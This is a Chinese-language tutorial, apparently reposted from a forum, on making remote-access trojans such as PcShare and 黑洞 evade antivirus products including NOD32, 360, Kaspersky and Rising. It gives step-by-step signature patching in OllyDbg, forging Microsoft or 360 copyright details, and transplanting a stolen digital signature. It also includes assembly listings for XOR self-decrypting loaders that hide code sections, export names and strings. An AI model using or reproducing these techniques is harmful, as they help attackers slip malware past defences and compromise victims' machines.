三 杀毒软件原理 (

来源:互联网 发布:steam网络失败登录过多 编辑:程序博客网 时间:2024/05/23 00:05
 
2011-09-23 16:27

对于NOD32 pcshare特征码超多的问题 
解释很简单 pcshare是一个典型的4代木马(也有人称为3代,看分代标准) 
很 多代码很典型,适用于杀软研究广谱查杀。NOD32的启发更偏向于基因启发,但他没有独立的基因库,用病毒库代替了基因库,通过在病毒库里比对代码,确认 病毒,看到我前面对基因启发的介绍,相信对NOD32病毒库小不难理解吧,很明显NOD32的开发者也意识到了这点,所以NOD32对启发可以报的病毒是 不入库的。对于pcshare4处关键作为启发杀毒,剩下26个特征是辅助定位,4处关键修改后少量修改辅助定位就可以了。 
关于OD修改字符串 
例如pcshare有一个定位在“%S%S%S”上的...我们可以首先用C32把“%S%S%S”向前移一位,然后用OD载入,右键,超级字符串参考, 
查 找ASCII,然后找到所有的“s%s%s”(一般是一个PUSH或者CALL指令,他调用的就是这个字符串的地址),由于我们向前移了一位,所以显示的 应该是“s%s%s”,然后双击来一个个修改...双击后会发现,对应的语句会有一个地址,我们把它改掉,向前一位,如4AD05168就改成 4AD05167,接着同样方法继续改其它有“s%s%s”的... 
这个方法通用字符串的修改... 

另外还有一个容易忽略的问题,那就是文件版权 
建议大家的木马都不要使用原来的图标和版权信息,可以加上微软,360的版权信息,有不少杀软会针对版权信息进行查杀(例:小红伞,遇到过几次,其余的不清楚) 
360、卡巴免杀 
怎么过360 卡巴 瑞星 金山 。。。 
360其实很好过 行为查杀 
只要把木马默认的文件名 服务名 (现在应该没人在使用win98了吧 或用注册表启动的木马了吧 如果有那么把注册表里的启动键值改了)修改掉 就OK了 
金山流氓查杀也是一样的 
接着说 
瑞星 和 金山 其实 别看官方吹得很好 其实很垃圾 主动防御如同虚设 
这里据个例子 
黑洞1.96 吧 因为介绍卡巴的时候用到它 把服务端里面的 黑洞 藏鲸阁 等替换掉 (老陈,不是要砸你招牌 而是**的) 再把刚才说的 文件名 服务名 都换成其他的 那主动就过去了 
其实NS也行 把SYSNS.DLL 改名 把版权去掉(老熊莫怪哦)再定位出其他的特征码 修改掉(表面没过,以上是废话) 
那么 金山 瑞星 360 就过去了 
再说卡巴 
卡巴2009的主动防御是很强悍的 
其实 驱动过是最完美的 
可是我菜 不会写驱动 不过 黑洞1.96国庆版 内有驱动 直接修改 因为这个驱动是为过卡巴而写 所以 只需要过卡巴就OK了 
巧用算法加密特征码 XOR算法, 相同为0,相异为1 
举个例子 
此时 
0001 xor 1111 = 1110 
1110 xor 0001 = 1111 
以下是加密代码 
另外还有kipass写的加密代码,可以参照 
对 于代码段,为了躲避跟着杀软跑我们得对代码段进行全部变形处理...有人问了,怎么变形呢?一般研究溢出,软件安全的DDMM,GGJJ们都知道在 shellcode中有一种比较常见的为了保护自己的shellcode被直接修改利用用的xor加密...到这你应该可以想到了,这就是对整个代码段进 行xor每个字节加密...但这样一来加密后就不能运行的..所以我们得找一段空白处,写一段我们的解密代码.并把文件入口点跳到这个解密代码上. 
就以最近的flash漏洞的shellcode解密头来讲解. shellcode就是这段解密头的.
这里就是解密头...里面我已经注释非常清楚了...哈.到这里又有人要问了..怎么加密呀..上面已经有算法了..要用上面的话直接用这段代码直接运行一次就是就加密的代码了..呵呵.. 

这样代码段就变的面目全非了...完全不一样了...好下面是数据段的修改了 
最简单的修改把原来的数据段里的东西分开处理.比如说资源..把资源全部移位,再修正指向资源的指针..其它以此类推.这完了数据段也处理完了..至少在原来的位置上的东东全部也不一样了... 
重定位的段处理和数据段一样.. 
区段免杀技术 
首先添加了一个空区段..名为king.. 这是原来的区 
好.看一下这个区里的地址先~ 然后开始做了. 

再用十六进制编辑查看一下区的大小情况.. 
A2A00 到 A2BF0 

让整个区整体向上偏移几位.. 由于上面的区本来就没有东西.是空的 
所以我们也不用改任何东西.. 大家随机应变吧.. 

可以适当的在区里面添加上一些伪指令.. 例如可以加入一些异常指令等等.效果自然会更好 
教程未完..看到原来一图里面的区了吗.. 
一般都有PE头的下面..好看我把他们的区名全部给改了.. 

这样也会误导杀软一些的难度. 其实在其它方面.还有一些免杀技术未被公开 
还有一些杀其它部位的特征等等. 我们做免杀.不一定要修改特征码.. 
对我来说.特征码已经等于是过去了.. 此方法是研究源码免杀的时候悟出来了. 
数字签名过卡巴
现在过卡巴主动的基本方法可能就是给木马程序加上数字签名,卡巴对此视而不见
加 数字签名很简单,用C32打开文件,从PE头开始的152个字节为 XX XX XX XX 这里为数字签名的地址(倒序)之后的数值是其签名代码的大小,随便找一个带有数字签名的文件,找到他的位置和大小,把代码全部复制下来,粘贴到木马程序 中,再更改相关的代码即可,以附件为例,数字签名的位置为:00 8E 00 00 大小:C8 24 那么数字签名则在8E00处,大小就是24C8,将其全部复制,再加在木马程序的最后,然后再修改从PE头开始的152个字节的相关数值即可


Pcshare输出表输出函数名加密法
ok,废话不多说,给大家简要说明下。。 
首先ollydbg载入PcMain.dll,然后向下找0区域,然后我们加入我们的加密代码。 

如图 : 
  

这里我简要的说明下代码。 
1. 首先保存我们的寄存器环境。 
通过 
pushad 
popad 

然后 我们加入代码 

其实这里大家可以运行一遍,此时运行后我们的ServiceMain已经是加密了,然后我们在将.rdata区段数据保存。然后修改.rdata的区段属性为可读可写属性。 
修改入口点位我们加入的代码的偏移,此时loader加载后就会进行解密。。 
这里给出一个DLL的例子。。 

加密后我们的输出函数名为此图。 


我来给大家解释下吧,错与对还请大家评论。 
嘿嘿! 
pushad 和popad作用是为了保存当前寄存器的状况。 
call $+5 ; 机器码为E8 00 00 00 00 
看机器码,个人认为没什么意思吧,像个NOP 
pop eax 这个很简单,EAX出栈,为什么要出栈,刚才不是全部压进去了吗? 
因为我们后面的一些操作要用到它这个东东。 
xor ax, ax 
这几句代码是求我们的基地址 但是由于我们写入的偏移量前面是以1001开头的,所以接下来我们加入rva的时候要减去10000。 
上面这段话已经说明了。我就不多说了。 
add eax, 3b05h ;3b05h为ServiceMain输出函数名字符串的偏移 (意思就找到输出函数名的内存地址。下面用到嘛) 
xchg eax, esi 
mov edi, esi 
很简单,不用我多说了吧,不会的去查汇编指令。 
lods byte ptr ds:[esi] LODS就是取字符串元素指令,大家调试下就知道了。 
假如我们加密后的字符串是“A”,那么ESI所指向的内存地址就是下一个字符串的地址了,他是一个字母一个字符的取的。 
or al, al (这个是结合下面的一个JE的,因为。晕了怎么说好呢。大家看一下这个函数的最后都是00 00 吧,当我们取完字符串后,也就是解密完成后,循环到这里的时候,OR就是与运算是吧,意思就是是1结果才是1,那么这是零,后面的跳转就当然跳了) 
je XXXXXXXX 
xor al, 18h 异或运算,重点吧。18是16进制,可以随便改的。 
stos byte ptr es:[edi] 这个stos 和LODS相反,既然它取,那么这个就是放的。就是说,经过上面的xor al, 18h 加密后,再放进去,一个一个的解密。 
jmp short 1.10011B3F 一个跳,循环结构,但是当解密完成的时候,这个跳会被JE跳转,程序正常运行。 
最后POP出栈 
恢复之前的寄存器状态。 
再最后一个跳到入口点,执行程序。简单。 
数据段ASCII字符串内存动态恢复 
对于棘手的ASCII字符串,我们还可以使用数据段ASCII字符串内存动态恢复的方法,这里也贴出代码
动态合并法
虽然说不是加密.但是也是利用了内存动态恢复的原理滥生出来的技术吧.. .
简单说明就是:
kernel32.lstrcat这个函数可以对两个push进行合并.
用法:     push 456
push 123
call dword ptr ds:[xxxx]xxxx是输入表对kernel32.lstrcat的数
结果会在123的后面多出456 合并成 123456
具体怎么利用不会说明
简单的打比方就是
当特征码为svchost.exe的时候. (打比方.) 
那我们就可以这样拆分. svch 和 ost.exe那样杀软怎么都不会叫了吧.
然后通过内存动态合并.
用法. 
00402246 60 pushad 
00402247 BB 6F104000 mov ebx, 0040106F ; ASCII "IEFrame" 
0040224C B9 02000000 mov ecx, 1 
00402251 8B03 mov eax, dword ptr [ebx] 
00402253 35 50403020 xor eax, 11111111 ;异或算法,密匙 
00402258 8903 mov dword ptr [ebx], eax 
0040225A 83C3 04 add ebx, 4 
0040225D ^ E2 F2 loopd short 00402251 
popad 
复制代码
027F5118 /EB 16 jmp short 027F5130 //跳到往下027F5130 
027F511A |5B pop ebx //自定位完毕 ebx存是就是紧接着loader下的需要解密处的开始内存地址..也就是027F5131处的 
027F511B |33C9 xor ecx, ecx //清空ecx为下面循环解密xor的字节做准备 
027F511D |66:B8 625D mov ax, 5D62 //传5D62给ax做初始密匙用 
027F5121 |66:31044B xor word ptr [ebx+ecx*2], ax //对ebx+ecx*2处进行双字节解密..以前的都是单字节解密居多. 
027F5125 |41 inc ecx //ecx加1,也就是密匙加1,动态变换密钥..这就是这个解密头的稍微比以前的解密强一点的地方.. 
027F5126 |40 inc eax //eax加1 累计解密多少次了.为下面判断做准备 
027F5127 |66:81F9 5101 cmp cx, 151 //此处的151比较就是后面加密的代码的总长度除二..可以替换成你自己按需要解密的总字节数除以二 
027F512C |7C F3 jl short 027F5121 //没有解密完就跳,继续解密 
027F512E |EB 05 jmp short 027F5135 //解密完了,跳到解密完的地方开始正式执行原程序的代码了,此处跳转地址改成你加密的地方的开始地址 
027F5130 E8 E5FFFFFF call 027F511A //配合027F511A处的pop ebx实现此代码的自定位..
复制代码
pushad 
call $+5 ; 机器码为E8 00 00 00 00 
pop eax 
xor ax, ax ;这几句代码是求我们的基地址 但是由于我们写入的偏移量前面是以1001开头的,所以接下来我们加入rva的时候要减去10000。 
add eax, 3b05h ;3b05h为ServiceMain输出函数名字符串的偏移 
xchg eax, esi 
mov edi, esi 
@@: 
lodsb 
or al, al 
je @f 
xor al, 18h 
stosb 
jmp @b 
@@: 
popad 
jmp 入口点 
复制代码
100118FE 60 pushad 
100118FF 90 nop 
10011900 E8 00000000 call 10011905 
10011905 58 pop eax 
10011906 2D 05190110 sub eax, 10011905 
1001190B 05 E0400110 add eax, 100140E0 
10011910 C700 53655368 mov dword ptr [eax], 68536553 
10011916 61 popad 
10011917 ^ E9 C7FBFFFF jmp 100114E3 
复制代码
pushxxxxx //ost.exe的地址,o的地址.因为他开头嘛
pushxxxxx //接下来的当然是剩下的svch的地址了.
call dword ptr ds:[<kernel32.lstrcat>] //这个kernel32.lstrcat的地址需要自己手动在IAT查找.\

原创粉丝点击